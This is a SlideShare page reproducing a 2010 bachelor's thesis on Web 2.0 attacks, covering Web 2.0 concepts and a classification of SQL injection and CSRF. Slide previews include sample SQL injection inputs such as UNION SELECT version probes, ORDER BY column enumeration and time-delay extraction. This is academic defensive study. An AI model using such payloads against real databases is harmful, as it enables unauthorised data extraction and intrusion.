Bachelors Thesis                New Web 2.0 Attacks   in Partial Fulfillment of the Requirements for the Degree           ...
Thesis LicenseBachelors ThesisNew Web 2.0 AttacksHorst-Görtz Institute, Ruhr-University of BochumUniversitätsstrasse 150, ...
AffirmationAffirmationHereby I declare that I have written this thesis by myself without any assistance from third parties...
AbstractAbstract  The presented thesis in this paper is another discussion on the problem or problem-complex: What is Web ...
AcknowledgementsAcknowledgementsThe author of this paper would like to thank for the support to:Alexander Kornbrusthttp://...
Table of ContentsTable of ContentsAbstract...................................................................................
ListsXIII
ListsList of FiguresFigure 1: Web 2.0 Meme Map, Tim OReilly [10].............................................................
1. Introduction1. Introduction1.1. What is Web 2.0?Discussing the Web 2.0, we are talking not only about a software platfo...
1. Introduction                             Figure 1: Web 2.0 Meme Map, Tim OReilly [10]   Everybody knows, makes discussi...
1. IntroductionCollaborative               Tagging Rich User Experience ( a.k.a RIA3, knowing something about( folksonomy)...
1. IntroductionFor more information on the trerms Knowledge Management[L6], Patterns( Design Patterns),SOA, please refer t...
1. Introductionour discussion9 to explain the objectives of this paper.1.2. Which are the Web 2.0 attacks?   Lets focus ou...
1. IntroductionThis leads us to the conclusion, that the existent attacking vectors on the Web platform are also ex-perien...
1. Introduction   generalize the scope of the discussed attacks in this paper as well, on behalf of minimal amountof examp...
2. SQL Injection2. SQL Injection2.1. Overview of the attacking vector   Speaking on SQL Injection , we already mark the en...
2. SQL Injectionthe attacking techniques is complex and it proposes difficulties in the attacks prevention, which insome c...
2. SQL Injection    •     Attacks intent    •     Attacks Input Source    •     Type of the attack, or technical attacks c...
2. SQL Injectionrect Queries, UNION Query, Piggy-Backed Queries, Inference SQLIA.   Adding or Modifying DataThere are part...
2. SQL InjectionSQL Injection attacks related to such an intent are the Tautologies SQLIA, UNION Query. Support-ive techni...
2. SQL Injection   Injection through User InputIt is important here to clarify the fact, that discussing Web Applications,...
2. SQL Injectionfor its DBMS functionality, the attacker can exploit this and follow another effective way to com-promise ...
2. SQL Injection   Frequency-based Primary Application   Such Second-Order Injection attacks concern Web Applications util...
2. SQL InjectionqueryString=”UPDATE users SET pwd= “ +newpwd + “WHERE uName= ” + uName + “  ANDpwd= ” + oldpwd + “  ”   Co...
2. SQL Injection   Classification                      Methods                                        Techniques/    param...
2. SQL Injection2.2.2. SQL Injection attacking techniquesBefore starting with a couple of examples, lets clarify the prese...
2. SQL Injection   TautologiesMain motivations, considering the deployment of such attacks are: bypassing authentication, ...
2. SQL Injection  At last, lets discuss the role of the - -, the two hyphens. In this example its actually related tothe c...
2. SQL InjectionDoS attack on the DBMS. The reader concerned will notice here once again the usage of StackedQueries, whic...
2. SQL Injectiondescribed in the part regarding the Inference SQLIA, where the reader will find more informationon the top...
2. SQL Injection   Stored Procedures   Lets clarify the meaning of the term Stored procedures. As the name reveals, the me...
2. SQL Injection[26]); File System Access at ( page 103, [26]) and in general on Stored Procedures SQL InjectionAttacks at...
2. SQL InjectionMoreover this method can be used for starting further injection attacks using the compromisedDBMS server a...
2. SQL Injectionprone DBMS with less request( or better per request), which is very useful, concerning a successfulattacki...
2. SQL Injection   Classic Inference SQLIA   Conditional responsesWe shall observe the following two queries, see[27]:SELE...
2. SQL InjectionSELECT ( CASE WHEN 1=1 THEN 1 ELSE 0 END)SELECT ( CASE WHEN 1=2 THEN 1 ELSE 0 END)The second SELECT statem...
2. SQL Injectionation proposed in this section, is adopted from Dmitri Evteevs SQLIA categorization[38][39].   Among the C...
2. SQL Injectioning the first letter of the users name, if the hit is true then the injection will force the DBMS to waitf...
2. SQL Injection   In the discussion on the Time-delays SQLIA we introduce the particular functions for extractingsensitiv...
2. SQL Injection   Lets illustrate this by the following construct, see [41]:DECLARE @x as int;DECLARE @w as char(6);SET @...
2. SQL InjectionIn such cases he needs specific preparation to be implemented for the successful deployment of thecommemor...
2. SQL InjectionDBMS           Syntax, as an example                             ResultMySQL          SELECT a b          ...
2. SQL Injection   Note that the intruder can apply one or more SQLIA attacking techniques, already represented inthe pape...
2. SQL Injection/* determining the upper bound*/http://www.news.info/news.php?id=37 ORDER BY 6--   If the server do not pr...
2. SQL Injection37 AND 1=0 UNION SELECT null, @@version, null, null --   Further more , the attacker tries to reveal more ...
2. SQL Injectionfirstly to reveal the user name responsible for the Web-Application login to the DBMS at the time ofthe at...
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
New Web 2.0 Attacks, B.Sc. Thesis
Upcoming SlideShare
Loading in...5
×

New Web 2.0 Attacks, B.Sc. Thesis

6,137

Published on

Here is my B.Sc. thesis back in 2010. I should not consider this reading as up-to-date, but it's worth as basic start-up on the topic of Web Application Security. Please, note the two tables are meant as attachments to this paper. Your critics are welcome. Enjoy!

The thesis is presented to the
Department of Electrical Engineering and Information Sciences
of the Ruhr-University of Bochum
Chair of Network and Data Security
of the Ruhr-University of Bochum,
Horst-Görtz Institute,
Prof. Jörg Schwenk

Here's the abstract:

The presented thesis in this paper is another discussion on the problem or problem-
complex: What is Web 2.0? How it works? Is it vulnerable to its security scope? How can
one utilize and share Web 2.0, knowing in this interactive collaboration, how to protect
himself?
In this bachelor work the reader will find history information, discussion on the evolu-
tion of the Web standards and most common Web 2.0 attacking classes. Two examples of
important Web 2.0 attacking vectors shall be discussed in depth, in such manner as an ana-
lysis and examples on the attacking techniques, deliberation on the trends in attack preven-
tion methods, discussion on the tools according to these.
This paper should give a good classification on the proposed examples of Web 2.0 at-
tacks, make a conclusion on behalf of the Life Cycle and security standards for the modern
Web 2.0 implementations, and perhaps offer some interesting proposals.

Published in: Technology, News & Politics
0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total Views
6,137
On Slideshare
0
From Embeds
0
Number of Embeds
1
Actions
Shares
0
Downloads
98
Comments
0
Likes
1
Embeds 0
No embeds

No notes for slide

New Web 2.0 Attacks, B.Sc. Thesis

  1. 1. Bachelors Thesis New Web 2.0 Attacks in Partial Fulfillment of the Requirements for the Degree Bachelor of Science Presented to theDepartment of Electrical Engineering and Information Sciences of the Ruhr-University of Bochum Chair of Network and Data Security of the Ruhr-University of Bochum, Horst-Görtz Institute Krassen Deltchev e-mail: Krassen.Deltchev@rub.de original version completed in 18. February 2010 (revised version: 22.07.2010) First Examiner and Supervisor: Prof. Dr. Jörg Schwenk Co-Supervisor: Dipl.Ing Florian Kohler 2nd Examiner: Prof. Dr.-Ing. York Tüchelmann
  2. 2. Thesis LicenseBachelors ThesisNew Web 2.0 AttacksHorst-Görtz Institute, Ruhr-University of BochumUniversitätsstrasse 150, D-44780 Bochum, Germanyhttp://www.hgi.rub.de/hgi/news/Krassen.Deltchev@rub.de , http://www.nds.rub.de/chair/theses/Web20/If you like to request the original version of this thesis, please contact:Krassen.Deltchev@rub.de , or nds@rub.deThis thesis is licensed under the Creative CommonsAttribution-NonCommercial-NoDerivs 3.0 Germany License,http://creativecommons.org/licenses/by/3.0/legalcodeThis license permits non-commercial use of this work, as long as attribution is given.To view a copy of this license,visit: http://creativecommons.org/licenses/by-nc-nd/3.0/de/deed.en http://creativecommons.org/licenses/by-nc-nd/3.0/de/deed.de ,or send an e-mail to : http://creativecommons.org/contactSummary: You are free to Share — to copy, distribute and transmit the work;Under the following conditions:(i) Attribution — You must attribute the work in the manner specified by the author or licensor (butnot in any way that suggests that they endorse you or your use of the work).(ii) Noncommercial — You may not use this work for commercial purposes.(iii)No Derivative Works — You may not alter, transform, or build upon this work. III
  3. 3. AffirmationAffirmationHereby I declare that I have written this thesis by myself without any assistance from third partiesand have exclusively used the indicated literature and resources.Bochum, 18.02.2010 K.Deltchev V
  4. 4. AbstractAbstract The presented thesis in this paper is another discussion on the problem or problem-complex: What is Web 2.0? How it works? Is it vulnerable to its security scope? How canone utilize and share Web 2.0, knowing in this interactive collaboration, how to protecthimself? In this bachelor work the reader will find history information, discussion on the evolu-tion of the Web standards and most common Web 2.0 attacking classes. Two examples ofimportant Web 2.0 attacking vectors shall be discussed in depth, in such manner as an ana-lysis and examples on the attacking techniques, deliberation on the trends in attack preven-tion methods, discussion on the tools according to these. This paper should give a good classification on the proposed examples of Web 2.0 at-tacks, make a conclusion on behalf of the Life Cycle and security standards for the modernWeb 2.0 implementations, and perhaps offer some interesting proposals.Keywords: Web 2.0, Web attacking vectors, Web Attacks classification, SQL Injection,CSRF, Best Practices, Web Application vulnerability scanner, Automated tools VII
  5. 5. AcknowledgementsAcknowledgementsThe author of this paper would like to thank for the support to:Alexander Kornbrusthttp://www.red-database-security.de/people/kornbrust.htmlB. Sc. Dominik Birkhttp://www.nds.rub.de/chair/people/dominik-birk/http://www.code-foundation.de/M. Sc. Felix Gröberthttp://groebert.org/felix/The author of this paper would like to thank for the support, advices and excellentteamwork to:Dipl. Ing. Florian Kohlerhttp://www.nds.rub.de/chair/people/kohlar/ IX
  6. 6. Table of ContentsTable of ContentsAbstract...............................................................................................................................VIIAcknowledgements..............................................................................................................IX1. Introduction........................................................................................................................1 1.1. What is Web 2.0?........................................................................................................1 1.2. Which are the Web 2.0 attacks?..................................................................................52. SQL Injection.....................................................................................................................9 2.1. Overview of the attacking vector................................................................................9 2.2. Attacking classification and techniques....................................................................10 2.2.1. SQL Injection attacking vector classification...................................................10 2.2.2. SQL Injection attacking techniques..................................................................19 2.3. SQL Injection prevention trends and methods.........................................................43 2.3.1. Best Practices ...................................................................................................43 2.3.2 Detection and Prevention Techniques................................................................48 2.4. Tools.........................................................................................................................53 2.4.1 Development tools.............................................................................................53 2.4.2. Auditing tools....................................................................................................54 2.4.3. Prevention tools................................................................................................57 2.4.4. Helper Tools......................................................................................................573. CSRF................................................................................................................................59 3.1. Overview of the attacking vector..............................................................................59 3.2. Attacking classification and techniques....................................................................60 3.3. CSRF prevention trends and methods......................................................................73 3.3.1 Server-Side protection ......................................................................................73 3.3.2 Client- Side protection.......................................................................................74 3.4. CSRF tools................................................................................................................76 3.4.1. Developer tools.................................................................................................76 3.4.2. Auditing tools....................................................................................................76 3.4.2.1. Server-Side implementations....................................................................76 3.4.2.2. Client-Side implementations.....................................................................77 3.4.3. Prevention Tools...............................................................................................78 3.4.3.1. Server-Side tools.......................................................................................78 3.4.3.2. Client-Side tools........................................................................................784. Final discussion and future work......................................................................................835. Conclusion........................................................................................................................85A Appendix: References and abbreviations............................................................................I A.1. References..................................................................................................................I A.2. Abbreviations............................................................................................................VB. Appendix: Source listings..............................................................................................VII B.1. Oracle- VPD- Honey table- implementation, Alexander Kornbrust [L16]............................................................................................VII B.2. Hacking CSRF tokens using CSS History Hack- implementation, Jeremiah Grossman[L34].....................................................................IXC. Appendix: Additional information.................................................................................XII C.1. Classification of the Web 2.0 attacking vectors( OWASP)....................................XII C.2. Injection Flaws OWASP Top 10 2010 RC1 general view.....................................XIII C.3. CSRF OWASP Top 10 2010 RC1 general view....................................................XIIIBibliography.......................................................................................................................XV XI
  7. 7. ListsXIII
  8. 8. ListsList of FiguresFigure 1: Web 2.0 Meme Map, Tim OReilly [10].................................................................2Figure 2: Methodology Used to Capture Web 2.0 Knowledge, Duane Nickull [11].............3Figure 3: Web 2.0 Reference Architecture, Duane Nickull [11]............................................4Figure 4: A Facebook application architecture vs. a normal web sever, [L38]....................70Figure 5: Facebook CSRF, the anatomy of the full fledged attack, [L38]..........................71Figure 6: OWASP Top 10 - 2010 vs. OWASP Top 10 - 2007, [20]....................................XIIFigure 7: Injection Flaws- general view, OWASP Top 10 2010, [20]..............................XIIIFigure 8: CSRF- general view , OWASP Top 10 2010, [20].............................................XIIIList of TablesTable 1: ...sense of Web 2.0 by example, Tim OReilly........................................................1Table 2: Web 2.0 Design Patterns, Duane Nickull [11]..........................................................3Table 3: Top 10 Web 2.0 Attack vectors, Shreeraj Shah[17]................................................5Table 4: Classification of the SQL Injection Web attacking vector.....................................18Table 5: DBMS comments...................................................................................................21Table 6: Compromising the DB version , see further [28]...................................................34Table 7: DB Fingerprintig,[28].............................................................................................35Table 8: DBMS produces error messages caused byunclosed quotation mark( apostrophe),[28]..........................................................................36Table 9: DBMS table hashing solution 1..............................................................................45Table 10: DBMS table hashing solution 2............................................................................45Table 11: Classification of the CSRF attacking vector.........................................................61 XV
  9. 9. 1. Introduction1. Introduction1.1. What is Web 2.0?Discussing the Web 2.0, we are talking not only about a software platform, but also about a stand-ard, which relies on one hand on computer networks( WAN, MAN, LAN), on the other hand,defines the concatenation and the resulted, complete context of the software related terms: usability,simplicity, sociability, integration, outsourcing[1] and security[2]. Lets clarify the logical sense of these introducing words.Technically, there is no Web 2.0 standard and there is no technical specification on the term: Web2.0[3][4][L2].The terms, which are defined and standardized in a technical aspect, are the WorldWide Web- services and the World Wide Web- standards at W3C,please refer to [5][6][7][L1].The interested reader, would find out more on the evolution of the World Wide Web( WWW) andthe Netscape era at www.w3.org[8][9].Further, the common internet end-user knows that nowadays the World Wide Web is more than :personal homepages surfing, e-mailing and dynamic server-side techniques such as .asp( x), .cfm,.do, .php[3].In the late 2004 is registered the first formulation of Web 2.0.Afterwards, Tim OReilly speaks on aconference on September 2005 regarding the obsolete Web 1.0 standard , which should be replacedby the new and modern one- Web 2.0, see : What is Web 2.0? Design Patterns and Business Mod-els for the Next Generation of Software[10]. Lets show some aspects of this first formulation:Web 1.0 Transition Web 2.0DoubleClick → Google AdSenseOfoto → FlickrBritannica Online → Wikipediapersonal websites → bloggingdomain name speculation → search engine optimizationscreen scraping → web servicescontent management systems → wikispublishing → participationTable 1: ...sense of Web 2.0 by example, Tim OReillyFollowing, lets show the first map of Web 2.0 as supposed in [10]: 1
  10. 10. 1. Introduction Figure 1: Web 2.0 Meme Map, Tim OReilly [10] Everybody knows, makes discussions or has heard about: Google Mapps, YouTube, Myspace,Facebook, Twitter, Digg etc. The main reason for discussing those brand names is, because they allimpersonate Web 2.0 services, which cover the definition tasks of Web 2.0 : better usability, ad-equate sociability and integration, reasonable outsourcing. Lets discuss Web 2.0 as a software platform and say a few words on its recent up-to-date stand-ards and technologies.As fundamentals for the Web 2.0 architecture are assumed the transitions defined by Tim OReillyin [10], some of them are shown in Table 1( see above). For building up and extending Web 2.0,there are Design Patterns1,specified like in [11], lets introduce the most important of them in thenext table:1 http://en.wikipedia.org/wiki/Design_patterns 2
  11. 11. 1. IntroductionCollaborative Tagging Rich User Experience ( a.k.a RIA3, knowing something about( folksonomy)2 your users)Synchronized Web Participation / Collaboration ( harnessing collective intelligence)SOA4 Adaptive SoftwareSaaS, DaaS ( variations of SOA) Microformats ( a.k.a fine grained content accessibility)[L18]Persistant Rights Management Declarative Living / Tag guardeningMashup5 Incremental Update( a.k.a. “ Automatic Particle Update”)Table 2: Web 2.0 Design Patterns, Duane Nickull [11] Further, lets illustrate the designing process from the abstract ideas[L6] to the concrete imple-mentation as Web 2.0 applications, see the next Figure 2: Figure 2: Methodology Used to Capture Web 2.0 Knowledge, Duane Nickull [11]2 http://en.wikipedia.org/wiki/Folksonomy3 Better known as Rich Internet Applications: http://en.wikipedia.org/wiki/Rich_Internet_application4 http://en.wikipedia.org/wiki/Service_oriented_architecture5 http://en.wikipedia.org/wiki/Mashup_%28web_application_hybrid%29 3
  12. 12. 1. IntroductionFor more information on the trerms Knowledge Management[L6], Patterns( Design Patterns),SOA, please refer to [17].In a technical aspect, the sophisticated evolution[12] of the Web software platform introduces somenew formulations of old and standard technologies for building web-based implementations.An illustration of such can be found for example in the transitions fromJavaScript in to AJAX6, HTML 4 to HTML 57 and CSS to the future CSS Level 38[L3].So lets show an overview of the current level of Web 2.0 as a software platform, well elucidated inthe next Figure 3, see further[11][13]: Figure 3: Web 2.0 Reference Architecture, Duane Nickull [11]The motivation to meet the needs not only of the internet end-user, but on commercial level too, inthe best way, provokes this sophisticated and complex software architecture not to lose the dynam-ics in its development and to be always innovative. Though, such requirements bring up also secur-ity flaws, daily exploits and the growing interest of intruders[14][15][16][17].We reach the point in6 http://de.wikipedia.org/wiki/Ajax_%28Programmierung%297 http://de.wikipedia.org/wiki/HTML58 http://de.wikipedia.org/wiki/Cascading_Style_Sheets 4
  13. 13. 1. Introductionour discussion9 to explain the objectives of this paper.1.2. Which are the Web 2.0 attacks? Lets focus our discussion on the last term of the Web 2.0 definition, given at the beginning ofChapter 1 in this paper: the security, and do a general classification of the Web 2.0 attacking vec-tors.There are very few attacks, whose motivation and prerequirements is the existence of the recentWeb 2.0 standard, such examples are given in [17][18][19], so lets introduce some of them in thefollowing Table 3:Cross-site scripting in AJAX XML poisoningMalicious AJAX code execution RSS / Atom injectionWSDL scanning and enumeration Client side validation in AJAX routinesWeb services routing issues Parameter manipulation with SOAPXPATH injection in SOAP message RIA thick client binary manipulationTable 3: Top 10 Web 2.0 Attack vectors, Shreeraj Shah[17] In disagreement with the suitable classification given by Shreeraj Shah in [17], these attacksshould be rather ranged as important subclasses, belonging to existing Web attacking vectors. Moreover we shall consider the fact, that most of the recent and top vulnerabilities on the Web 2.0 plat-form, are well known security exposures for a matter of a decade, like SQL Injection, XSS,DoS( DDoS), Insufficient/ Broken Authentication, Insecure Storage/ Encryption of Data etc. So why shall we consider them as New Web 2.0 Attacks? Lets do an upshot on what is discussed so far: • there is no technical related term as Web 2.0, this is just a formulation of the current state of the Web software platform • Web 2.0 is represented by a complex and sophisticated software architecture, which experi- ences vast development and recurrent pursuit of innovations • modern attacks evoked by modern software technologies like AJAX, SOAP, RSS/ Atom, RIA etc. cannot be considered as new classes of Web attacks, because of the small range of their attacking scope, but more over as essential subclasses of existing Web attacking vec- tors.9 We shall recognize the usage of the term discussion in this paper, without humiliating the presentations technique : proposed thesis-> related argument(s), in the explanation part of this bachelor work. 5
  14. 14. 1. IntroductionThis leads us to the conclusion, that the existent attacking vectors on the Web platform are also ex-periencing their own development and they are being extended by subclasses, evoked by flaws andexploits in new software technologies, or new implementations of existing ones applied to the Websoftware architecture. The question about discussing new Web 2.0 attacks, can be substantiated into discussing currentattacking vectors on the Web platform, which are and will be from great importance regarding thesecurity hardening of Web software architecture and its implementations. So, lets make an assumption in this paper and call the Web platform in its current stage of devel-opment as software architecture in a word as Web 2.0. Before delivering the objectives of this paper, lets present some of the most important organiza-tions and projects, classifying the current Web attacking vectors and predicting the tendencies andnew trends in the Web security: • OWASP10, the free and open application security community • WASC11, Web Application Security Consortium • WHID12, The Web Hacking Incident Database[L5] • Secure Enterprise 2.0 Forum13 • Breach Security, Inc14The scope of this paper does not allow to provide an extended discussion on every single class ofWeb attacking vectors, see a brief presentation in Appendix C, C1; the interested reader should con-sider to study the following annual reports[20][21][22][23][24][L17] for this purpose. Now, lets focus on the objectives of this bachelor work. This paper presents a discussion on thecurrent and modern Web 2.0 attack classes. As an example, two of the most important Web attack-ing vectors: SQL Injection( SQLIA) and Cross Site Reference( or Request) Forgery ( CSRF orXSRF) shall be examined. The two classes are chosen wisely, as they are antagonistic in the tech-nical aspect of their implementations. The SQL Injection attacking vector is a typical representativeof the command line class of Web 2.0 attacks, on the contrary of this, the CSRF represents the Con-fused Deputy15 Web attacking vector, regarding this class of attacks, please refer to Chapter 3. Bythis means, the bachelor work shall cover not only technical aspects of the modern Web 2.0 attacks,but also the human aspect, which is related to the Web 2.0 by definition. This shall extend and10 http://www.owasp.org11 http://www.webappsec.org/12 http://www.xiom.com/whid , http://www.xiom.com/whid-list/all/2009 ,see further [L4]13 http://secure-enterprise20.org/14 http://www.breach.com, http://www.breach.com/resources/whitepapers/index.html15 For more on the term Confused Deputy, please refer to Chapter 3 6
  15. 15. 1. Introduction generalize the scope of the discussed attacks in this paper as well, on behalf of minimal amountof examples. Lets talk about the structure of this paper. Chapter 2 describes the SQL Injection as a class of Web 2.0 attacking vectors. The reader will find general information regarding the attack, followed by a complete16 discus-sion on the attacking techniques in this attacking vector. In a separate section are discussed the pre-vention methods and trends concerning the SQL Injection attacks. In the last section of this chapterwill be represented the related tools referring to this class of attacks. In Chapter 3 the discussion will proceed in an analogue manner on the CSRF- Attacks. Chapter 4 will summarize the results from the explanation part, see chapters 2 and 3, and discussfurther works on the problems mentioned in this papers thesis; and give also proposals related tothe discussed problems in this bachelor work. Chapter 5 represents the conclusion part of the paper. In the Appendix the reader will find: • references on the tools discussed in the paper and supporting internet links[internet articles, blogs, forum discussions], • code samples of tools and SQL Injection/ CSRF attack examples , • some additional figures, extending the illustration of the discussed( see Chapter 2 and Chapter 3) attacking vectors.16 We shall consider the term complete as concluded up to the current temporal momentum of the papers production state. 7
  16. 16. 2. SQL Injection2. SQL Injection2.1. Overview of the attacking vector Speaking on SQL Injection , we already mark the environment for these attacks: relational data-bases17, using the SQL18 language. What makes such relational Databases, or better to say: the operation with such Relational Data-base Management Systems( RDBMS), so important and interesting? Lets give some significant examples: • Wikipedia uses SQL Databases for storage and management[L10], • Facebook uses SQL databases for account storage and account management[L11], • Mozilla Firefox Web-browser uses SQLite for browser-history storage purposes [L12], • eBay uses Oracle for storage and management of its 1.4 Petabytes of information[L13], • Amazon even offers its own Relational Database service [L14], • Google uses its own developed DBMS- BigTable, for operating in Petabyte information range [L15]. Nowadays it is a standard procedure to use and utilize DBMS for information storage and man-agement purposes, solving small up to middle-weight problems of such manner using SQLite orMySQL[L19] and for the sophisticated tasks deploying PostgreSQL[22], MSSQL[L20] orOracle[L21]. Thus, we answer the first half of the question, regarding the importance of the usage of relationalDatabases, lets explain, what makes the DBMS interesting?As the scope of this paper is a discussion over security issues, lets repeat the already mentionedthesis: if there is a complex and dynamically growing system, there is always an interest of the in-truder to find exploits and security flaws supporting its development process.We shall mention that SQL Injection is a Nr. 1 Web attacking vector according to the OWASP TopTen Project 2010, see [20]. Another interesting fact is that a query at YouTube on the term SQL Injection gives about 700responses19. Lets focus on the technical schema of the SQL Injection attacks execution. It follows a simplerule: intruders know-how vs. the developers/administrators know-how. Still, the implementation of17 http://en.wikipedia.org/wiki/Relational_database_management_system18 http://en.wikipedia.org/wiki/Sql19 This query is made in January 2010. 9
  17. 17. 2. SQL Injectionthe attacking techniques is complex and it proposes difficulties in the attacks prevention, which insome cases is rather not a simple task.The SQL Injection Attack is mentioned for the first time in December 1998[25].It starts as a WebAttack on the Windows IIS 4.0 Server. Nowadays there is no exceptional SQL Server, which iscompletely, nor effectively hardened against SQL Injection flaws and attacks. Lets continue our discussion with the section, giving a complete classification of the SQL Injec-tion as a Web 2.0 attacking vector and explaining some of the most interesting and important at-tacks execution techniques.2.2. Attacking classification and techniquesLets first introduce a classification of the SQLIA attackers profiles, note that this classification isnot complete, see [26]: • Curious DBA or Employee • Leaving employee • DBA covering its own faults • External hacker • Criminal employee • Intelligence agency2.2.1. SQL Injection attacking vector classification Lets introduce the class hierarchy of the attacking vectors as a logical construct and the classhierarchy notation related to this paper. We describe in this bachelors thesis two Web 2.0 attacking vectors: SQL Injection and Cross SiteRequest Forgery; both of the attacking vectors represent classes in the Web 2.0 attacking vectorhierarchy. Every class of attacks has its own subclasses, which describe different aspects: technical,motivational or source related, of the particular attacking vector we intend to describe. If the attack-ing vectors subclass is complex as a construct and requires to be extended in the attacks classifica-tion, we shall define a further level in the class hierarchy: a sub-subclass, sub2class of the SQLIAvector for an instance; or a sub-subsubclass, a sub3class of the CSRF attacking vector for example.There are three parameters, which we shall generally classify the SQL Injection attacks into,as [27], the classification given by Halfond et al., in 2006: 10
  18. 18. 2. SQL Injection • Attacks intent • Attacks Input Source • Type of the attack, or technical attacks classificationThe main reason for selecting this attacking class hierarchy among all four observed SQLIA classi-fications, presented in [27][28][29] and [26] is, the well defined hierarchically construct and theprecise definition of the different SQL Injection attacks aspects. In this paper we shall update andextend this classification to meet the current state of the SQLIA development as a Web attackingvector.In some cases, where it is suitable, we shall enhance the examples regarding different attackingscenarios on behalf of the other class hierarchies defined in [28][29] and [26].Speaking more on the attacks intent, see [27] we shall distinguish the following intruders motiva-tions for taking the attack in action: • Extracting data • Adding or Modifying data • Performing Denial of Service • Bypassing authentication • Executing remote commandsLets introduce the separate intentions aspects briefly. Extracting DataWe have already described the importance of the utilization of DBMS systems on modern Web Ap-plications and gave some significant examples. We can also proceed in this way of thoughts andconsider the fact that nowadays storage of information depends on Relational Database Manage-ment Systems. Intruders are also aware of that fact. In many cases Web Applications are designed togather input information from all over the world and store it in DBMSes, though to allow Data ma-nipulation only for restricted personnel. On the one hand this fact intuitively explains the attackersinterest to compromise such systems, on another it elucidates the fact, concerning the complexityaspects of the attacking scenarios development and deployment. We shall demonstrate further in theexplanation part of this paper, which are the techniques allowing data extraction from a comprom-ised system.Lets designate the SQLIA approaches concerning such intent: Tautologies, Illegal/Logically Incor- 11
  19. 19. 2. SQL Injectionrect Queries, UNION Query, Piggy-Backed Queries, Inference SQLIA. Adding or Modifying DataThere are particular SQL statements concerning data modification: DROP, TRUNCATE, DELETE,UPDATE and INSERT. Knowing this fact the intruder tries to utilize it. The attacker is not, or notonly interested in Data Extraction, moreover to speculate with stored data on Web Applications andobserve the consequences of the applied manipulation scenario. Attacking techniques related tosuch an intent are: Piggy-Backed Queries.Note that there are other SQL Injections suitable to support the mentioned attacking techniqueabove, please consider further reading. Performing Denial of ServiceSuch DoS attacks are DBMS dependent and further according to the SQL Server load or amount ofthe stored data, they could be adapted to achieve optimal results.They can differ in their impact- from Server overload to System shutdown.The intruder performs query requests to the victims SQL Server, whose statements evaluationforces the compromised DBMS to get into DoS state.SQLIA techniques concerning this topic area are: Inference SQL Injection attacks, see Timing At-tacks and especially Benchmark attacks; Stored Procedures SQL Injection attacks. Note that sup-portive injection methods are Stacked Queries, Alternate Encodings and UNION Queries as well. Bypassing AuthenticationThis is a classic SQLIA Intent example. The intruder is interested in deploying further SQL Injec -tion intents as data extraction, or data modification or a DoS, though to achieve this goal, the re-quirement is a successful login on the Web Application and particular its backend the SQL Server. Ifthere is information leakage regarding a legal user to the DBMS system, this simplifies the task toproceed with accomplishing the complete attacking scenario. Though there are cases related toDBMSes, which apply greater users restriction like PostgreSQL, see further, and the task of By-passing Authentication converts to Bypassing Admin Authentication for an instance. 12
